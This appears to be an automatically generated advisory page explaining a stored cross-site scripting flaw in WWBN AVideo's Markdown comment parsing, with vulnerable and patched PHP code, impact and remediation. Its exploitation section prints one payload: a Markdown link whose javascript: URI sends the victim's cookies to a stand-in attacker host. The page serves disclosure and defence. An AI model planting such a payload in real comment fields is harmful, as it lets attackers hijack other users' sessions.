CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-33500

CVE-2026-33500: Stored Cross-Site Scripting via Markdown Parsing Bypass in WWBN AVideo

Alon Barad
Alon Barad
Software Engineer

Mar 23, 2026·6 min read·32 visits

Executive Summary (TL;DR)

An incomplete fix in AVideo <= 26.0 allows authenticated attackers to execute arbitrary JavaScript in a victim's browser by injecting `javascript:` URIs into Markdown links within video comments.

WWBN AVideo versions up to and including 26.0 contain a stored Cross-Site Scripting (XSS) vulnerability. The application utilizes a custom Markdown parsing class that intentionally disables built-in security features, allowing authenticated attackers to inject malicious JavaScript via formatted links. This flaw bypasses previous sanitization efforts introduced to remediate CVE-2026-27568.

Vulnerability Overview

WWBN AVideo, formerly known as YouPHPTube, is an open-source video platform that allows users to upload, share, and comment on video content. The application supports Markdown formatting within user comments, processed by the PHP Parsedown library. A vulnerability exists in how the platform customizes this Markdown parsing implementation.

The vulnerability is classified as Stored Cross-Site Scripting (CWE-79). It specifically affects the markDownToHTML() function located in objects/functionsSecurity.php. This function processes user-supplied text before rendering it as HTML in the browser. The core issue involves a security bypass where Markdown-native link syntax is not properly sanitized against malicious URI schemes.

This flaw represents an incomplete remediation of a prior vulnerability, identified as CVE-2026-27568. In attempting to allow specific safe HTML tags while stripping dangerous ones, developers disabled the upstream library's core security mechanisms. This architectural choice left native Markdown syntax handlers exposed to injection attacks.

An authenticated attacker can exploit this vulnerability by submitting a comment containing a crafted Markdown link. When a victim views the affected comment, the application renders an HTML anchor tag with a javascript: URI, resulting in arbitrary JavaScript execution within the context of the victim's session.

Root Cause Analysis

The root cause of CVE-2026-33500 is the explicit disabling of the Parsedown library's safeMode combined with incomplete override implementations in a custom subclass. The developers introduced a custom class named ParsedownSafeWithLinks to handle specific HTML tag sanitization.

During the processing of text in objects/functionsSecurity.php, the application instantiates the custom parser and explicitly calls $parsedown->setSafeMode(false). By disabling safeMode, the application opts out of Parsedown's native security features, specifically the filterUnsafeUrlInAttribute() method. This upstream method is responsible for blocking dangerous URI schemes like javascript: and vbscript:.

The custom ParsedownSafeWithLinks class successfully sanitizes raw HTML tags (e.g., <a href="...">) by overriding the inlineMarkup() method and passing the content through a custom sanitizeATag() function. However, the developers failed to override the inlineLink() method, which handles the native Markdown link syntax [text](url).

When a user submits Markdown link syntax, the text bypasses the inlineMarkup() sanitization entirely. It routes through the default inlineLink() method. Because safeMode is disabled, the resulting URL is not checked for dangerous schemes, allowing the application to output unsanitized user input directly into the href attribute of an anchor tag.

Code Analysis

An examination of the vulnerable code in objects/functionsSecurity.php demonstrates the misconfiguration of the Markdown parser. The function markDownToHTML instantiates the custom parser and configures its state before processing user input.

function markDownToHTML($text) {
    $parsedown = new ParsedownSafeWithLinks();
    $parsedown->setSafeMode(false);   // Vulnerable configuration
    $parsedown->setMarkupEscaped(false);
    $html = $parsedown->text($text);
    return $html;
}

The configuration $parsedown->setSafeMode(false) removes the built-in URI filtering. Without an override for the inlineLink() method in ParsedownSafeWithLinks, any javascript: URI passed via standard Markdown syntax remains intact in the final HTML output.

The official patch addresses this by adding an overridden inlineLink() method to the ParsedownSafeWithLinks class. This override intercepts the parsed link object and applies a strict regular expression whitelist to the href attribute.

protected function inlineLink($Excerpt)
{
    $Link = parent::inlineLink($Excerpt);
    if ($Link === null) {
        return null;
    }
    $href = isset($Link['element']['attributes']['href']) ? $Link['element']['attributes']['href'] : '';
    
    // Whitelist: http(s), mailto, relative paths, page anchors.
    if ($href !== '' && !preg_match('/^(https?:\/\/|mailto:|\/|#)/i', $href)) {
        $Link['element']['attributes']['href'] = ''; // Neutralize dangerous URI
    }
    return $Link;
}

This patch ensures that even with safeMode disabled globally, the specific code path responsible for handling Markdown links enforces a strict allowlist. It nullifies the href attribute if the scheme is not explicitly permitted.

Exploitation Methodology

Exploitation of CVE-2026-33500 requires the attacker to possess an active session on the target AVideo instance with permissions to submit comments. The attacker must target a video or page where comments are publicly visible or visible to administrative users.

The attacker crafts a comment containing a standard Markdown link structure. Instead of supplying a valid HTTP URL, the attacker provides a javascript: URI payload. The payload structure is [Clickable Text](javascript:malicious_code_here).

[See related video](javascript:fetch('https://attacker.example/log?c='+document.cookie))

The application stores this comment in the database without sanitizing the URI. When a victim navigates to the video page, the application retrieves the comment, processes it through markDownToHTML(), and renders the HTML to the victim's browser.

The attack concludes when the victim interacts with the rendered link. The browser executes the JavaScript payload within the security context of the AVideo application. The execution relies on user interaction (UI:R), as the victim must click the injected link.

Impact Assessment

The concrete security impact of CVE-2026-33500 is the ability for an attacker to execute arbitrary JavaScript in the context of other users' sessions. This classification corresponds to a CVSS 3.1 base score of 5.4 (Medium), with the vector CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N.

Successful exploitation allows the attacker to access sensitive session identifiers, such as cookies or local storage tokens, provided they are not protected by the HttpOnly flag. The attacker can exfiltrate these tokens to a controlled server, facilitating complete session hijacking and account takeover.

Beyond session hijacking, the attacker can force the victim's browser to perform unauthorized actions on the platform. If the victim is an administrative user, the payload can trigger administrative endpoints to alter site configurations, elevate privileges of attacker-controlled accounts, or modify system content.

The impact is constrained by the requirement for user interaction. The payload does not execute automatically upon page load; it strictly requires the victim to click the malicious hyperlink. Additionally, the attacker must hold a valid, authenticated session to inject the payload initially.

Remediation Guidance

The vendor has addressed this vulnerability in WWBN AVideo versions greater than 26.0. System administrators must update their instances to the latest available release. The fix is explicitly tracked in commit 3ae02fa240939dbefc5949d64f05790fd25d728d.

Organizations unable to apply the patch immediately should restrict commenting privileges to trusted users. Disabling comments entirely serves as a temporary workaround that completely mitigates the attack vector. Administrators should monitor the database for existing malicious payloads by searching the comments table for the string javascript:.

Developers maintaining custom forks of AVideo must ensure that the ParsedownSafeWithLinks class is correctly updated with the new inlineLink() override. Furthermore, security teams should implement a Web Application Firewall (WAF) rule to block incoming POST requests to comment submission endpoints if the payload body matches regex patterns indicative of Markdown javascript: URIs.

Official Patches

WWBNOfficial fix commit implementing URI whitelist for inlineLink.
WWBNGitHub Security Advisory for AVideo.

Fix Analysis (1)

Technical Appendix

CVSS Score
5.4/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Affected Systems

WWBN AVideo

Affected Versions Detail

Product
Affected Versions
Fixed Version
AVideo
WWBN
<= 26.0Commit 3ae02fa240939dbefc5949d64f05790fd25d728d
AttributeDetail
CWE IDCWE-79
Attack VectorNetwork
CVSS v3.1 Score5.4
Privileges RequiredLow (Authenticated)
User InteractionRequired
Exploit StatusProof of Concept (PoC)
CISA KEVNot Listed

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1185Browser Session Hijacking
Collection
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

Known Exploits & Detection

Security AdvisoryProof of Concept demonstrating malicious javascript: URI injection.

References & Sources

  • [1]GHSA-72h5-39r7-r26j Advisory
  • [2]WWBN AVideo Patch Commit
  • [3]CVE-2026-33500 Record
  • [4]NVD Entry for CVE-2026-33500
Related Vulnerabilities
CVE-2026-27568

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 17 hours ago•CVE-2026-58197
8.8

CVE-2026-58197: Host Escape and Lateral Movement via Insecure Container Network Defaults in ToolHive

A high-severity access control vulnerability in ToolHive CLI before v0.30.1 and ToolHive Studio before v0.38.0 allows local containerized MCP servers to bypass network isolation. This enables malicious workloads to establish TCP/IP connections to administrative and control plane endpoints exposed on the host loopback interface.

Amit Schendel
Amit Schendel
7 views•8 min read
•about 18 hours ago•CVE-2026-63405
5.9

CVE-2026-63405: Insufficient Verification of Data Authenticity in AnyCable Pusher REST API

AnyCable is a real-time communication server. Prior to version 1.6.15, its Pusher-compatible REST API suffered from an authentication bypass vulnerability because it failed to verify that the request body matched the signature-validated body_md5 parameter. This allows attackers to perform replay attacks with modified body contents.

Amit Schendel
Amit Schendel
7 views•5 min read
•about 19 hours ago•CVE-2026-64847
6.8

CVE-2026-64847: Indefinite Denial of Service via Undrained Stderr in AnyIO Process Pool Workers

A denial-of-service vulnerability exists in AnyIO prior to version 4.14.2. Standard error streams of process-pool workers are connected to an operating system pipe that is never drained by the parent process. This allows a worker to fill the pipe buffer and deadlock indefinitely.

Amit Schendel
Amit Schendel
7 views•6 min read
•about 20 hours ago•CVE-2026-63349
7.0

CVE-2026-63349: Privilege Dropping Bypass and Denial of Service in AnyIO Subprocess Module

CVE-2026-63349 is a critical privilege-dropping bypass vulnerability in the AnyIO asynchronous framework (versions 4.14.0 and 4.14.1) on POSIX platforms. Due to a variable assignment typo, supplementary groups specified by the developer are not correctly propagated to the execution backend, resulting in subprocesses retaining the parent process's elevated supplementary group permissions.

Alon Barad
Alon Barad
10 views•5 min read
•about 21 hours ago•CVE-2026-63406
5.9

CVE-2026-63406: Information Disclosure via Insecure Telemetry and Hardcoded Credentials in AnyCable-Go

CVE-2026-63406 is an information disclosure vulnerability in AnyCable-go prior to version 1.6.15. The built-in telemetry client is enabled by default with a hardcoded public authentication token ('secret'). This client digests highly sensitive configuration parameters and command-line arguments, including JWT secrets and RPC secrets, into a stable SHA-256 fingerprint. This fingerprint is sent over public networks, exposing those administrative secrets to offline dictionary and brute-force attacks if intercepted.

Alon Barad
Alon Barad
7 views•5 min read
•about 22 hours ago•CVE-2026-84992
6.1

CVE-2026-84992: Cross-Site Scripting (XSS) via Fenced Code Block Parsing in md-editor-v3

CVE-2026-84992 is a Cross-Site Scripting (XSS) vulnerability affecting md-editor-v3 before version 6.5.4. It occurs because the fenced-code block language parser directly interpolates unescaped language metadata into unquoted HTML attributes inside the custom rendering callback. This bypasses the built-in XSSPlugin which runs during the parsing phase, before rendering.

Amit Schendel
Amit Schendel
9 views•6 min read